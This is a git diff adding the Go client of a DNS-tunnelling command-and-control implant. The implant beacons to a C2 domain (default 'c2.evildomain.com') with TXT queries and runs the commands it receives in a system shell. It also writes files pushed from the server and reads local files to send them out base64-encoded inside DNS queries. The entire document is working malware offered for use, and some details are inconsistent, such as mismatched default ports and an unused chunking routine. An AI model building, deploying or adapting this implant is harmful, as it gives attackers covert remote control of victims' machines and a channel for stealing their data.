diff --git a/c2s_dns_tunnel/cmd/client/main.go b/c2s_dns_tunnel/cmd/client/main.go new file mode 100644 index 0000000..4aa47cf --- /dev/null +++ b/c2s_dns_tunnel/cmd/client/main.go @@ -0,0 +1,667 @@ +package main + +import ( + "crypto/rand" + "encoding/base64" + "encoding/hex" + "encoding/json" + "flag" + "fmt" + "net" + "os" + "os/exec" + "os/signal" + "runtime" + "strconv" + "strings" + "sync" + "syscall" + "time" + + "github.com/miekg/dns" +) + +// ─── Constants ─────────────────────────────────────────────────────────────── + +const ( + version = "1.0.0" + userAgentPrefix = "dns-c2-implant" +) + +// ─── Implant Config ───────────────────────────────────────────────────────── + +type Config struct { + Server string // IP of C2 DNS server + Domain string // C2 domain (e.g. c2.evildomain.com) + ImplantID string // Unique implant ID + Interval int // Query interval in seconds + DirectMode bool // Send UDP directly to C2 server instead of system resolver + UseResolver bool // Use system DNS resolver +} + +// ─── State ─────────────────────────────────────────────────────────────────── + +type ImplantState struct { + mu sync.Mutex + interval int + pendingCmd string // current command to execute + cmdChunks []string // partial command chunks + cmdTotal int + outputBuffer []string // queued output chunks ready to send + pendingUpload *FileUploadState +} + +type FileUploadState struct { + RemotePath string + FileSize int + Buffer []byte + TotalChunks int + ReceivedChunks int + Complete bool +} + +// ─── Platform Commands ─────────────────────────────────────────────────────── + +func getShell() []string { + if runtime.GOOS == "windows" { + return []string{"cmd.exe", "/C"} + } + return []string{"/bin/sh", "-c"} +} + +// ─── Base64 Encoding/Decoding ──────────────────────────────────────────────── + +func b64encode(data []byte) string { + return base64.StdEncoding.EncodeToString(data) +} + +func b64decode(s string) ([]byte, error) { + // Try standard + data, err := base64.StdEncoding.DecodeString(s) + if err == nil { + return data, nil + } + // Try URL-safe + data, err = base64.URLEncoding.DecodeString(s) + if err == nil { + return data, nil + } + // Try padded + pad := 4 - len(s)%4 + if pad < 4 { + s += strings.Repeat("=", pad) + } + data, err = base64.StdEncoding.DecodeString(s) + if err == nil { + return data, nil + } + return nil, err +} + +// ─── DNS Query ─────────────────────────────────────────────────────────────── + +func buildDNSQuery(id string, domain string, status string, outputB64 string, seq int, total int) string { + // Format: ...c2. + // status: "ready", "output", "chunk", "error" + // data: base64-encoded output, or empty if no output + + if seq > 0 && total > 0 { + // Chunked output + return fmt.Sprintf("%s.%s.%d.%d.%s.c2.%s", + status, id, seq, total, outputB64, domain) + } + if outputB64 != "" { + return fmt.Sprintf("%s.%s.%s.c2.%s", + status, id, outputB64, domain) + } + return fmt.Sprintf("%s.%s.c2.%s", + status, id, domain) +} + +func sendDNSQueryViaResolver(queryDomain string) (string, error) { + // Use system resolver + c := dns.Client{} + m := new(dns.Msg) + m.SetQuestion(queryDomain+".", dns.TypeTXT) + m.SetEdns0(4096, true) // EDNS0 for larger responses + + r, _, err := c.Exchange(m, net.JoinHostPort("8.8.8.8", "53")) + if err != nil { + return "", fmt.Errorf("dns exchange failed: %w", err) + } + + for _, ans := range r.Answer { + if txt, ok := ans.(*dns.TXT); ok && len(txt.Txt) > 0 { + return txt.Txt[0], nil + } + } + return "", nil +} + +func sendDNSQueryDirect(server string, queryDomain string) (string, error) { + c := dns.Client{ + UDPSize: 4096, + } + m := new(dns.Msg) + m.SetQuestion(queryDomain+".", dns.TypeTXT) + m.SetEdns0(4096, true) + + // Check if server already has a port; default to 53 + serverAddr := server + if _, _, err := net.SplitHostPort(server); err != nil { + serverAddr = net.JoinHostPort(server, "5353") + } + + r, _, err := c.Exchange(m, serverAddr) + if err != nil { + return "", fmt.Errorf("dns exchange failed: %w", err) + } + + for _, ans := range r.Answer { + if txt, ok := ans.(*dns.TXT); ok && len(txt.Txt) > 0 { + return txt.Txt[0], nil + } + } + return "", nil +} + +func sendDNSQuery(server, domain, queryDomain string, directMode bool) (string, error) { + if directMode { + return sendDNSQueryDirect(server, queryDomain) + } + return sendDNSQueryViaResolver(queryDomain) +} + +// ─── Command Execution ─────────────────────────────────────────────────────── + +func executeCommand(cmdStr string) (string, error) { + // Special commands + if strings.HasPrefix(cmdStr, "__INTERVAL__:") { + parts := strings.SplitN(cmdStr, ":", 2) + if len(parts) == 2 { + interval, err := strconv.Atoi(parts[1]) + if err == nil && interval > 0 { + return fmt.Sprintf("INTERVAL_SET:%d", interval), nil + } + } + return "INTERVAL_ERROR", nil + } + + if strings.HasPrefix(cmdStr, "__UPLOAD_START__:") { + return handleUploadStart(cmdStr) + } + + if strings.HasPrefix(cmdStr, "__UPLOAD_CHUNK__:") { + return handleUploadChunk(cmdStr) + } + + if strings.HasPrefix(cmdStr, "__UPLOAD_END__:") { + return handleUploadEnd(cmdStr) + } + + if strings.HasPrefix(cmdStr, "__DOWNLOAD__:") { + return handleDownload(cmdStr) + } + + if strings.HasPrefix(cmdStr, "__PING__") { + return "PONG", nil + } + + if strings.HasPrefix(cmdStr, "__SLEEP__:") { + parts := strings.SplitN(cmdStr, ":", 2) + if len(parts) == 2 { + dur, err := time.ParseDuration(parts[1]) + if err == nil { + time.Sleep(dur) + return "SLEPT:" + parts[1], nil + } + } + return "SLEEP_ERROR", nil + } + + // Execute actual shell command + shell := getShell() + cmd := exec.Command(shell[0], append(shell[1:], cmdStr)...) + output, err := cmd.CombinedOutput() + if err != nil { + return fmt.Sprintf("ERROR: %s\n%s", err.Error(), string(output)), nil + } + return string(output), nil +} + +// ─── File Upload Handling ─────────────────────────────────────────────────── + +var globalState ImplantState + +func handleUploadStart(cmdStr string) (string, error) { + // Format: __UPLOAD_START__:: + parts := strings.SplitN(cmdStr, ":", 3) + if len(parts) < 3 { + return "UPLOAD_START_ERROR:malformed", nil + } + + remotePath := parts[1] + fileSize, err := strconv.Atoi(parts[2]) + if err != nil { + return fmt.Sprintf("UPLOAD_START_ERROR:invalid_size:%s", parts[2]), nil + } + + globalState.mu.Lock() + globalState.pendingUpload = &FileUploadState{ + RemotePath: remotePath, + FileSize: fileSize, + Buffer: make([]byte, 0, fileSize), + } + globalState.mu.Unlock() + + return fmt.Sprintf("UPLOAD_START_OK:%s:%d", remotePath, fileSize), nil +} + +func handleUploadChunk(cmdStr string) (string, error) { + // Format: __UPLOAD_CHUNK__::: + parts := strings.SplitN(cmdStr, ":", 4) + if len(parts) < 4 { + return "UPLOAD_CHUNK_ERROR:malformed", nil + } + + seq, err := strconv.Atoi(parts[1]) + if err != nil { + return fmt.Sprintf("UPLOAD_CHUNK_ERROR:invalid_seq:%s", parts[1]), nil + } + + total, err := strconv.Atoi(parts[2]) + if err != nil { + return fmt.Sprintf("UPLOAD_CHUNK_ERROR:invalid_total:%s", parts[2]), nil + } + + chunkData, err := b64decode(parts[3]) + if err != nil { + return fmt.Sprintf("UPLOAD_CHUNK_ERROR:decode_failed:%s", err), nil + } + + globalState.mu.Lock() + if globalState.pendingUpload == nil { + globalState.mu.Unlock() + return "UPLOAD_CHUNK_ERROR:no_active_upload", nil + } + globalState.pendingUpload.Buffer = append(globalState.pendingUpload.Buffer, chunkData...) + globalState.pendingUpload.ReceivedChunks++ + globalState.pendingUpload.TotalChunks = total + globalState.mu.Unlock() + + return fmt.Sprintf("UPLOAD_CHUNK_OK:%d/%d", seq, total), nil +} + +func handleUploadEnd(cmdStr string) (string, error) { + // Format: __UPLOAD_END__: + parts := strings.SplitN(cmdStr, ":", 2) + if len(parts) < 2 { + return "UPLOAD_END_ERROR:malformed", nil + } + remotePath := parts[1] + + globalState.mu.Lock() + if globalState.pendingUpload == nil { + globalState.mu.Unlock() + return "UPLOAD_END_ERROR:no_active_upload", nil + } + + if globalState.pendingUpload.RemotePath != remotePath { + globalState.mu.Unlock() + return "UPLOAD_END_ERROR:path_mismatch", nil + } + + buffer := globalState.pendingUpload.Buffer + expectedSize := globalState.pendingUpload.FileSize + globalState.mu.Unlock() + + if len(buffer) != expectedSize { + return fmt.Sprintf("UPLOAD_END_ERROR:size_mismatch:got_%d_expected_%d", len(buffer), expectedSize), nil + } + + // Write the file + if err := os.WriteFile(remotePath, buffer, 0644); err != nil { + return fmt.Sprintf("UPLOAD_END_ERROR:write_failed:%s", err), nil + } + + globalState.mu.Lock() + globalState.pendingUpload = nil + globalState.mu.Unlock() + + return fmt.Sprintf("UPLOAD_COMPLETE:%s:%d", remotePath, expectedSize), nil +} + +// ─── File Download Handling ───────────────────────────────────────────────── + +func handleDownload(cmdStr string) (string, error) { + // Format: __DOWNLOAD__: + parts := strings.SplitN(cmdStr, ":", 2) + if len(parts) < 2 { + return "DOWNLOAD_ERROR:malformed", nil + } + + remotePath := parts[1] + data, err := os.ReadFile(remotePath) + if err != nil { + return fmt.Sprintf("DOWNLOAD_ERROR:%s", err), nil + } + + encoded := b64encode(data) + return fmt.Sprintf("DOWNLOAD_DATA:%s:%d:%s", remotePath, len(data), encoded), nil +} + +// ─── Output Chunking ───────────────────────────────────────────────────────── + +const outputChunkSize = 400 // max base64 chars per DNS label + +func chunkOutput(output string) []string { + encoded := b64encode([]byte(output)) + if len(encoded) <= outputChunkSize { + return []string{encoded} + } + + var chunks []string + for i := 0; i < len(encoded); i += outputChunkSize { + end := i + outputChunkSize + if end > len(encoded) { + end = len(encoded) + } + chunks = append(chunks, encoded[i:end]) + } + return chunks +} + +// ─── Command Parsing (chunked commands from server) ────────────────────────── + +func processServerResponse(txt string, state *ImplantState) (bool, string) { + txt = strings.TrimSpace(txt) + + if txt == "" { + return false, "" + } + + // Parse: ".." or just "" + parts := strings.SplitN(txt, ".", 3) + + if len(parts) >= 3 { + // Could be: base64.seq.total + seq, err1 := strconv.Atoi(parts[1]) + total, err2 := strconv.Atoi(parts[2]) + if err1 == nil && err2 == nil && seq > 0 && total > 0 { + state.mu.Lock() + if state.cmdChunks == nil || seq == 1 { + state.cmdChunks = make([]string, total) + state.cmdTotal = total + } + if seq <= total { + state.cmdChunks[seq-1] = parts[0] + } + complete := true + for _, c := range state.cmdChunks { + if c == "" { + complete = false + break + } + } + state.mu.Unlock() + + if complete { + fullCmd := strings.Join(state.cmdChunks, "") + decoded, err := b64decode(fullCmd) + state.mu.Lock() + state.cmdChunks = nil + state.cmdTotal = 0 + state.mu.Unlock() + if err != nil { + return true, fmt.Sprintf("DECODE_ERROR: %s", err) + } + return true, string(decoded) + } + return false, "" // Waiting for more chunks + } + } + + // Single chunk command + decoded, err := b64decode(parts[0]) + if err != nil { + return false, "" + } + return true, string(decoded) +} + +// ─── Config Persistence ────────────────────────────────────────────────────── + +func loadConfig(path string) (*Config, error) { + data, err := os.ReadFile(path) + if err != nil { + return nil, err + } + var cfg Config + if err := json.Unmarshal(data, &cfg); err != nil { + return nil, err + } + return &cfg, nil +} + +func saveConfig(path string, cfg *Config) error { + data, err := json.MarshalIndent(cfg, "", " ") + if err != nil { + return err + } + return os.WriteFile(path, data, 0600) +} + +func generateID() string { + b := make([]byte, 8) + rand.Read(b) + return hex.EncodeToString(b) +} + +// ─── Main Loop ─────────────────────────────────────────────────────────────── + +func main() { + // Flag definitions + var ( + server string + domain string + implantID string + interval int + directMode bool + useResolver bool + configPath string + oneShot bool + ) + + flag.StringVar(&server, "server", "", "C2 DNS server IP (for direct mode)") + flag.StringVar(&domain, "domain", "c2.evildomain.com", "C2 domain") + flag.StringVar(&implantID, "id", "", "Implant ID (auto-generated if empty)") + flag.IntVar(&interval, "interval", 30, "Query interval in seconds") + flag.BoolVar(&directMode, "direct", false, "Send UDP directly to C2 server") + flag.BoolVar(&useResolver, "resolver", false, "Use system DNS resolver") + flag.StringVar(&configPath, "config", "", "Path to config file") + flag.BoolVar(&oneShot, "oneshot", false, "Run one query and exit") + + flag.Parse() + + // Load config from file if specified + if configPath != "" { + cfg, err := loadConfig(configPath) + if err == nil { + if server == "" { + server = cfg.Server + } + if domain == "" { + domain = cfg.Domain + } + if implantID == "" { + implantID = cfg.ImplantID + } + if cfg.Interval > 0 { + interval = cfg.Interval + } + directMode = cfg.DirectMode + useResolver = cfg.UseResolver + } + } + + // Environment overrides + if v := os.Getenv("C2_SERVER"); v != "" { + server = v + } + if v := os.Getenv("C2_DOMAIN"); v != "" { + domain = v + } + if v := os.Getenv("C2_IMPLANT_ID"); v != "" { + implantID = v + } + if v := os.Getenv("C2_INTERVAL"); v != "" { + if n, err := strconv.Atoi(v); err == nil { + interval = n + } + } + if os.Getenv("C2_DIRECT") == "1" || os.Getenv("C2_DIRECT") == "true" { + directMode = true + } + + // Generate ID if not set + if implantID == "" { + implantID = generateID() + } + + // Validate + if server == "" && directMode { + fmt.Fprintf(os.Stderr, "Error: -server flag required in direct mode\n") + os.Exit(1) + } + + if interval < 1 { + interval = 30 + } + + fmt.Fprintf(os.Stderr, "DNS C2 Implant v%s\n", version) + fmt.Fprintf(os.Stderr, " Implant ID: %s\n", implantID) + fmt.Fprintf(os.Stderr, " Domain: %s\n", domain) + fmt.Fprintf(os.Stderr, " Interval: %ds\n", interval) + if directMode { + // Show server address, preserving any port the user specified + srvDisplay := server + if _, _, err := net.SplitHostPort(server); err != nil { + srvDisplay = net.JoinHostPort(server, "53") + } + fmt.Fprintf(os.Stderr, " Server: %s (direct UDP)\n", srvDisplay) + } else { + fmt.Fprintf(os.Stderr, " Mode: System DNS resolver\n") + } + + // Save config if we loaded from file + if configPath != "" { + cfg := &Config{ + Server: server, + Domain: domain, + ImplantID: implantID, + Interval: interval, + DirectMode: directMode, + UseResolver: useResolver, + } + if err := saveConfig(configPath, cfg); err != nil { + fmt.Fprintf(os.Stderr, "Warning: could not save config: %v\n", err) + } + } + + // Initial state + state := &ImplantState{} + globalState = ImplantState{} + state.interval = interval + + outputBuf := "" + + // Signal handling + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + + // Main beacon loop + fmt.Fprintf(os.Stderr, "Starting beacon loop...\n") + + for { + select { + case <-sigCh: + fmt.Fprintf(os.Stderr, "\nShutting down...\n") + return + default: + } + + // Check if we have a new interval set + state.mu.Lock() + currentInterval := state.interval + state.mu.Unlock() + + // Build the query + // Format: ...c2. + status := "ready" + outputB64 := "" + + if outputBuf != "" { + status = "output" + outputB64 = b64encode([]byte(outputBuf)) + outputBuf = "" + } + + queryFQDN := buildDNSQuery(implantID, domain, status, outputB64, 0, 0) + + // Send DNS query and get response + txtResponse, err := sendDNSQuery(server, domain, queryFQDN, directMode) + if err != nil { + fmt.Fprintf(os.Stderr, "DNS query error: %v\n", err) + } else { + fmt.Fprintf(os.Stderr, "DNS response received\n") + + // Check if response contains a command + if txtResponse != "" { + hasCmd, cmd := processServerResponse(txtResponse, state) + if hasCmd { + fmt.Fprintf(os.Stderr, "Executing command: %s\n", cmd) + result, err := executeCommand(cmd) + + // Special handling for interval change + if strings.HasPrefix(result, "INTERVAL_SET:") { + parts := strings.SplitN(result, ":", 2) + if len(parts) == 2 { + newInterval, _ := strconv.Atoi(parts[1]) + state.mu.Lock() + state.interval = newInterval + state.mu.Unlock() + currentInterval = newInterval + } + } + + if err != nil { + outputBuf = fmt.Sprintf("EXEC_ERROR: %s", err) + } else { + outputBuf = result + } + } + } + } + + if oneShot { + fmt.Fprintf(os.Stderr, "One-shot mode, exiting\n") + return + } + + // Sleep for the interval + fmt.Fprintf(os.Stderr, "Sleeping %d seconds...\n", currentInterval) + + // Sleep in smaller increments so we can catch signals + slept := 0 + for slept < currentInterval { + time.Sleep(1 * time.Second) + slept++ + select { + case <-sigCh: + fmt.Fprintf(os.Stderr, "\nShutting down...\n") + return + default: + } + } + } +}